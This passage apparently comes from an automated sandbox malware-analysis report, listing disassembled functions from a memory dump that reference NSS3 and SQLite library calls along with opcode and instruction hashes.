Part of subcall function 6CEA9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEA9C5B), ref: 6CEA9D82
Part of subcall function 6CEA9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEA9C5B), ref: 6CEA9DA9
Part of subcall function 6CEA9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEA9C5B), ref: 6CEA9DCE
Part of subcall function 6CEA9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEA9C5B), ref: 6CEA9E43

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 9966f949db60c2a081888bb3c03b14830ebbba20b20a21ecb4815ea994333081
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: AE110BB9F042015FF7109AE59C417AB77B4AF9838CF340138E91A8F740FB62E5568291

Function 6CF5CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF5D086
PR_Malloc.NSS3(00000001), ref: 6CF5D0B9
PR_Free.NSS3(?), ref: 6CF5D138

Strings

>, xrefs: 6CF5CF5B

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: ff9a62dcf97ccc075fc32198dedd7d29b792b39b2b3539ac38504eb90070514d
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 6AD18C23B466460BFB14487D8DA13EA779387B6374FD80329D3629BBE5E619C863C341

Function 6CEFAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f933b9a02d612d3e0d029213023edd831902993e2da79a8ef5c6d6ac18d83fe
Instruction ID: 544079f278b29e783e52032b17a3db93cdba73ddb14a1f4c876b7ce2b515b8d5
Opcode Fuzzy Hash: 5f933b9a02d612d3e0d029213023edd831902993e2da79a8ef5c6d6ac18d83fe
Instruction Fuzzy Hash: A4F1AC71E11215CBEF44CF68D8403A9B7F1BB8A308F26822DD915DB754EB709996CBC1

Function 6CEEDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDC5001,?,00000003,00000000), ref: 6CEEDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CDC5001,?), ref: 6CEEE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CDC5001,?), ref: 6CEEE2DA

Strings

W, xrefs: 6CEEE111

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 136c0dc4c21bb21660c9c1db020547c5dd83275604fca72b8ebf9ff24c8db5f5
Instruction ID: ffb13d67f3a3bd62b5323ec2d1764f7eddff7c5c042f5884d21deadc02e71661
Opcode Fuzzy Hash: 136c0dc4c21bb21660c9c1db020547c5dd83275604fca72b8ebf9ff24c8db5f5
Instruction Fuzzy Hash: 0BC10931B04A558BDB04CE6584907AA77B2BF8E38CF388169DCA99BB45D7319906CBD0

Function 6CEB0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEB1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEB1086

Strings

h(l, xrefs: 6CEB1062, 6CEB105D, 6CEB0F37, 6CEB1081, 6CEB1082
h(l, xrefs: 6CEB0E55, 6CEB0EC4, 6CEB0F3A, 6CEB0FA7

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: 7416670102ef4bf79fbc682e3db19e9d849d66f1f185915e2e9abc2b806fae37
Instruction ID: b590685bb1c64a145f367e992691708d93efeaa0eda4f01403c25803cfd23f15
Opcode Fuzzy Hash: 7416670102ef4bf79fbc682e3db19e9d849d66f1f185915e2e9abc2b806fae37
Instruction Fuzzy Hash: D0A13E71B0124A9FDF08CF99DA90AEEBBB6BF49314B248129E915B7700D735EC11CB90

Function 6CDD6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CDD7049
unordered*, xrefs: 6CDD702B
noskipscan*, xrefs: 6CDD7067
*?[, xrefs: 6CDD7034, 6CDD7052, 6CDD7070

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 5d216a59082a555479efdabfc7535ae1e27ac82b89dc291b8e63b52cf8adffdc
Instruction ID: 4b74cade687107e284d5764ae94b6a259b4f7a43d8d47c1c5cba451422ac9a51
Opcode Fuzzy Hash: 5d216a59082a555479efdabfc7535ae1e27ac82b89dc291b8e63b52cf8adffdc
Instruction Fuzzy Hash: 62718E72F401115BDB108F6DC8803AE73A29F81314F2703BACD55ABBE9D671AC4687D1

Function 6CDF3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6CDF3FAA, 6CDF4185
sqlite_master, xrefs: 6CDF463F
sqlite_temp_master, xrefs: 6CDF460F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 0590fc765b2152635ae6cc1501f02a7dd67acde88c9e0d198ccb59d20d89d5e1
Instruction ID: 99701623696135050912b7907d660e742a2e90e42a3263cb2a12a083b79c63a0
Opcode Fuzzy Hash: 0590fc765b2152635ae6cc1501f02a7dd67acde88c9e0d198ccb59d20d89d5e1
Instruction Fuzzy Hash: 18226A20A49195CFD7418B2991605BB7BF2BF4631CB6E859DC9F1AFB62C321E843C750

Function 6CF2BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF2C0B6

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 1a171ae198291f190c61606ff684d21caadd6453434f3d8acf9fd250232f7cff
Instruction ID: ba8045ebf55e813948dd90959f49cbb01a33e44291120c95fc7476c1696ea8a7
Opcode Fuzzy Hash: 1a171ae198291f190c61606ff684d21caadd6453434f3d8acf9fd250232f7cff
Instruction Fuzzy Hash: BC927274A042098FEB15DF94C890BAEB7B2FF48308F284569D815ABBA1D739DC46CB50

Function 6CE038E0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

., xrefs: 6CE04611

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 3f8a784f9fe393c09df8a6e8c6033d9427d6edd404f91e4141a47459ab213c2c
Instruction ID: 2c7d9521948526f3021b3dd6a92c1f1e65e8afe990466b4c1843847a33ff869e
Opcode Fuzzy Hash: 3f8a784f9fe393c09df8a6e8c6033d9427d6edd404f91e4141a47459ab213c2c
Instruction Fuzzy Hash: DB928075B00219CFDB24CF69C480B99B7B2FF59304F25829AD849AB752D734D9A2CF80

Function 6CDC3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDC3EA9

Strings

0, xrefs: 6CDC3DAB

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: f37c0849f03e5979c89a8e72dcb9db07938435ff9eb22269e860ec514f2e20a6
Instruction ID: 44ab2c5c5c6604420675b2f646cea1b4d2aaa3d7c80f16e86a4ebe62759d8d48
Opcode Fuzzy Hash: f37c0849f03e5979c89a8e72dcb9db07938435ff9eb22269e860ec514f2e20a6
Instruction Fuzzy Hash: 5B515971F481B98ADB15877D88603FFBBBD9B83314F19432AC5A167AE0D23485458792

Function 6CE6EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE6F0F9

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 7b45ef2621a7e6dc224da5055a47cb54adb20623a803e4226879640fecad15ba
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: FA91BF71E1061A8BCB14CF69C8916AEB7F1FF86324F24472DD962A7BC0D734A905CB91

Function 6CE92F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEB7929), ref: 6CE92FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEB7929), ref: 6CE92FE0

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 3f7471921e9e7cb76d509b6bde52299aec8e75c0dc53c7d9d7f8543f051b9a02
Instruction ID: 80dea3077092435f32ceb1c026dbcd03ef5b357e2fa3bd9ce10978cc53220579
Opcode Fuzzy Hash: 3f7471921e9e7cb76d509b6bde52299aec8e75c0dc53c7d9d7f8543f051b9a02
Instruction Fuzzy Hash: A551D0B1B049118FDB10CE59C880BAAB7B1FB4631CF394169DD0EABB12D735E946CB81

Function 6CDDAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDDAE9F
winUnlock, xrefs: 6CDDAE18

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 8bcdea0a07b2fc3ff11f033053744e0d871a9875be07c9a327acbe7df07c1caa
Instruction ID: 4f2bbb13ed3f5121c5775bcd02aaffca5c340d85b30d458508802d4f00d8a7b5
Opcode Fuzzy Hash: 8bcdea0a07b2fc3ff11f033053744e0d871a9875be07c9a327acbe7df07c1caa
Instruction Fuzzy Hash: CD719F71A18200AFDB44CF29E890BAABBF5FF89314F15CA19F94997211D730E985CBD1

Function 6CE9ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CE9EE3D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 4dbd91a9e43c0b0b27f484a4730a4130da8641f294d5b74abf952d26d6dc1da5
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: D571D472E01B018FD718CF59C88166ABBF2BF88308F25462ED95A97B91D730E941CBD1

Function 6CDC5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CDC6013

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 8224b6292ea530b50880e48da38c311efc97805a01bf23a91dbb71dd532a1b61
Instruction ID: c3c3cd05667d1ee5068391251a281bbc63fce4021944f97dbf4a5fe2428b487e
Opcode Fuzzy Hash: 8224b6292ea530b50880e48da38c311efc97805a01bf23a91dbb71dd532a1b61
Instruction Fuzzy Hash: DEC12670B04606CBDB088F15C4507BEBBFAEF45318F288169D9A5D7B61D730E842CB92

Function 6CDD4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDD5125

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: c6f0cc9bed5b992cef86a142fdaa10c244ccb2b56b9e721d7d2ff9459216aaed
Instruction ID: c0364c907285da7197e07199ccc7a42c5f55b1e6c89122572664a000a0870f4c
Opcode Fuzzy Hash: c6f0cc9bed5b992cef86a142fdaa10c244ccb2b56b9e721d7d2ff9459216aaed
Instruction Fuzzy Hash: 4AE10BB0E28341DFDB44DF29D48475ABBF0FF89314F51961DE88997261EB30A985CB82

Function 6CF55E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF55B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE3DF9B), ref: 6CF55B9E
Part of subcall function 6CF55B90: PR_Unlock.NSS3 ref: 6CF55BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF55E23,6CE3E154), ref: 6CF55EBF

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 37371849502a975cd75e37532b26d0dd731817832e9330f5052e13d148f4834c
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 8F51AC72E0021A8FCB18CF59C8816AEF3F2FF98314B59866DD916B7745D730A941CBA0

Function 6CF0DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13bd22e664c668c1a626b3401c171ab8193afbf78c9db039f7c6c6361ae8f0a6
Instruction ID: 6aae1983d7d7cbd2b7f1d1b1cb13d7a51633a8f89361299013689f5a912197b4
Opcode Fuzzy Hash: 13bd22e664c668c1a626b3401c171ab8193afbf78c9db039f7c6c6361ae8f0a6
Instruction Fuzzy Hash: 8BF16C71B01205CFDB08CF19D490BAAB7B2BF89718F298168D84A9B751DB35EC42DBD1

